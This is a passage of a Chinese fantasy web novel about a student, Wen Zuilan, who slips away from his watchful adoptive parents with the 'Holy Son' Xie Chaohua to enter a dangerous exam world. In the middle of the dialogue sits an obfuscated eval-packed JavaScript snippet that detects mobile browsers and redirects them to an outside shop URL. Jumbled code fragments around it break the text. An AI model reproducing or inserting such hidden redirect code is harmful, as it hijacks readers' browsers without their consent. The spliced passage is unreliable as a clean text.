妈妈也迈着小碎步赶来,她今天格外兴奋,像是在审视一件珍贵的商品。她亲昵地拉过闻醉蓝的手,轻轻捏了捏:“宝贝,你在觉醒仪式上一定累坏了吧?看你这小脸,都有些发白呢。”说着,她用另一只手摸了摸闻醉蓝的脸颊。 “爸妈,我没事,就是有点累了。”闻醉蓝强装镇定地回应着,可声音里还是有一丝不易察觉的颤抖。 “那我们快回家吧。”爸爸说道。 “醉蓝啊,你走前面,今天这儿人太多了,你在前面我们能看得清楚,别磕着碰着了。”妈妈笑着说道,眼神却不经意地瞥向周围的人群,似乎在观察着什么。 而那些原本看向这边的人,一旦和妈妈的眼神对上,就像是被烫到了一般,赶忙将目光收了回去。 闻醉蓝顺从地向前走去,养父母跟在他身后。爸爸看似漫不经心地开口:“儿子,今天在学校怎么样?觉醒仪式有没有什么好玩的?” “嗯,都还好,就是正常的仪式流程。”闻醉蓝回答。 “对了,我们看到圣子在你觉醒完成时来找你了,他和你说了些什么?”爸爸看似随意地问,但眼睛却紧紧盯着闻醉蓝的后脑勺,眼神中闪过一丝急切。 “他就是来为我完成觉醒祈福的,没说什么特别的。”闻醉蓝心中一紧,手心微微出汗。 “哦?这样啊,圣子亲自为你祈福,这可不是一般的待遇呢。”爸爸笑着说道,嘴角微微上扬,可那笑容却未达眼底。 妈妈在一旁连忙点头:“是啊,这是多大的荣耀啊!我们家醉蓝就是与众不同。来,儿子,你手里的东西给我拿着吧,你好好走。”说着,不由分说地拿过闻醉蓝手中的物品。 一路上,养父母始终与闻醉蓝保持着两三步的距离,不远不近,而每当有其他人靠近一点,养父母的眼神就会变得警惕起来,就像害怕自己的私有物被人半路截走。 “儿子,走快点,快到家了。”爸爸的声音从后面传来,语气里有着不容置疑的催促。 回家,回家,那是家吗?! 但闻醉蓝不敢吼出来,他看似乖巧地点点头:“好。” 闻醉蓝跟着养父母来到家门口,养父母的脚步变得急切起来。爸爸从口袋里掏出钥匙,金属碰撞的声音在寂静的楼道里格外清晰。 “到家了,儿子。”爸爸边说着边打开门,侧身让妈妈先进去,然后转头对闻醉蓝笑着说:“快进来,今天可把你累坏了。” 闻醉蓝应了一声,走进家门。 “快把鞋换了,舒服点。”妈妈的声音从屋里传来。 闻醉蓝机械地换着鞋,等他起身准备关门时,他的手停在了门把手上。他转头看向对面谢朝华家紧闭的房门,目光久久没有移开。就凭借他养父母现在这种态度和高强度的监视,很明显,参加今年的高考,是他目前唯一能看到的活路。 “儿子,愣着干什么?快关门进来呀。”爸爸声音一下子提高。 闻醉蓝深吸一口气,缓缓关上了门。 闻醉蓝勉强和父母应付了几句,就回到自己的房间,他轻轻关上房门,整个人都松了一口气,在床上坐了好一会儿,他才踩着拖鞋走到书桌前,坐下,打开了谢朝华发给他的关于高考的资料。 在这个世界,觉醒后的学子都有机会进入那场特殊的“高考”。 无论文科还是武科,其实都可以通过修炼提升实力,只是这种效率极低,而最快的捷径,是前往污染之地,直接利用污染之地不同的规则强行升阶。 这个世界历经无数小世界的入侵,面积因此扩张了无数倍。那些小世界自成一方天地,有着独特的规则,若是有人能通过小世界的规则考核,便能实现升阶,要是能完美通关,被污染的生灵将重获新生,小世界的禁锢也会解除,成为向所有人开放的地方。 高考,就是将学子们投入那些尚未被破解的污染之地。因为污染之地有着等级限制,限制低阶层的污染之地只能靠这群刚觉醒的学子。 不过通常情况下,大家不会在刚觉醒就冒险前往,毕竟那里算得上危险重重,多数人会选择等待一年,甚至有不少人复读一年,做好更充分的准备后再参加。 但是……闻醉蓝烦躁地抓抓头发,他这不是没得选吗! 闻醉蓝在房间里熬了整整一夜,精神紧绷地将今年高考开发地点的资料翻了个遍。天刚擦亮,他才缓缓起身,揉了揉胀痛的太阳穴,准备出门。 打开房门的瞬间,闻醉蓝的心猛地一揪。养父母就坐在客厅的沙发上,似乎就这么干坐了一夜。 “吱呀”的开门声打破了诡异的静谧,养父母像是被触发了机关的人偶,齐刷刷地扭过头来,那动作整齐得近乎惊悚。 “儿子,你今儿怎么起这么早?”爸爸率先开口,声音沙哑干涩。 “我……我出去买早餐。”闻醉蓝回答,声音有些低。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309447|152307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那妈妈和你一起去。”妈妈迅速接话,边说边从沙发上站起来,眼神里是不容拒绝的强硬。 闻醉蓝心里一阵烦躁,可又不敢反抗,只能默默转身准备和妈妈一起出门。就在他伸手打开家门的时候,对面的门也开了。 谢朝华先是微微点头,露出一个礼貌性的微笑,然后朝着闻醉蓝养父母的方向轻声说道:“早,阿姨,叔叔。” 说完他停了一下,又开口:“我正好也要出去,和醉蓝一起就好,您二位不用麻烦了。” 闻醉蓝父母的脸色瞬间变得极为难看,爸爸的嘴角微微抽搐,勉强扯出一个比哭还难看的笑容,妈妈也脸色阴沉,但他们只是僵硬地站在原地,丝毫不敢违抗,只能眼睁睁地看着闻醉蓝和谢朝华走向楼梯。 刚下楼梯,谢朝华就打破了沉默,“你选好去哪儿了?”。 谢朝华眼神里有一丝不易察觉的笃定,仿佛完全不担心闻醉蓝会选不去高考。 闻醉蓝深吸一口气,抬头直视谢朝华的眼睛,语气坚定:“磐石城。” 谢朝华脚步微微一顿,眼中闪过一丝犹豫,不过下一秒就恢复如常,他轻声说道:“既然你选了,那就按你说的去,对我而言,去哪里并无差别。” 闻醉蓝先是一愣,随即反应过来,大为震惊:“你是说,你会和我一起去我选的地方?” 谢朝华似乎不解闻醉蓝怎么会问出这样的问题,他开口:“没错,我需要合作伙伴。这次也不只是我们两人,还有其他人,进入小世界你就会见到他们。” 说着,他们已经快走出小区。 谢朝华停下脚步,看向闻醉蓝:“你不必再回去了,我们直接前往传送阵。” 闻醉蓝有些犹豫,他回头看了看自家的方向。谢朝华像是看穿了他的心思,拍了拍他的肩膀:“不用担心那两个狂信徒,他们暂时不会对你怎么样。” 闻醉蓝愣了一下,才明白谢朝华口中的“狂信徒”是指他的养父母。 谢朝华很明显对今年去哪里是有打算的,闻醉蓝就跟着他走。 谢朝华一路走到公交站才停,飞行器起降的轰鸣声响个不停。 不一会儿,一辆公共飞行器缓缓降下,舱门打开,谢朝华抬脚便走了上去,闻醉蓝赶忙跟上。 进入飞行器后,里面的座位已经坐了不少人。谢朝华在靠窗的一个空位旁停住,自己先坐下,然后示意闻醉蓝坐下。 飞行器缓缓启动,向着目的地驶去,一时间,舱内只有轻微的机械运转声。闻醉蓝觉得这沉默的氛围有些尴尬,于是转头看向谢朝华,努力让自己的语气显得轻松些:“那个……你之前说的队友,他们都是什么样的人啊?有没有什么特别的?” 谢朝华却只是微微歪了歪头,看向窗外不断掠过的景色,语气平淡得像一潭死水:“进去了你就知道了。” 闻醉蓝张了张嘴,想要再说些什么,却又不知道该如何继续这个话题,只好悻悻地转过头,看着前方的椅背,心里暗自腹诽:“这圣子冕下确实很会终结话题。” 一路无话,直到公共飞行器在省教育局门口平稳降落。舱门打开,谢朝华率先起身,走下飞行器,闻醉蓝紧随其后。 突然,谢朝华停下脚步,嘴角勾起一抹略带戏谑的笑容,看向闻醉蓝说道:“其实你觉醒前就出现天昭神瑞,是了不得的征兆。说不定今年的年祭真有人愿意保你,哪怕是宁可得罪这一城的疯……狂信徒。” 说着他停了一下,又道:“只要你在这三个月里,能再展现几次像天昭神瑞这样的奇迹。” 闻醉蓝扯了扯嘴角,露出一个有些勉强的笑容,谢朝华语气里的调侃意味太重,让他实在不想搭理这人的恶趣味,他扭过头:“到时候磐石城见。”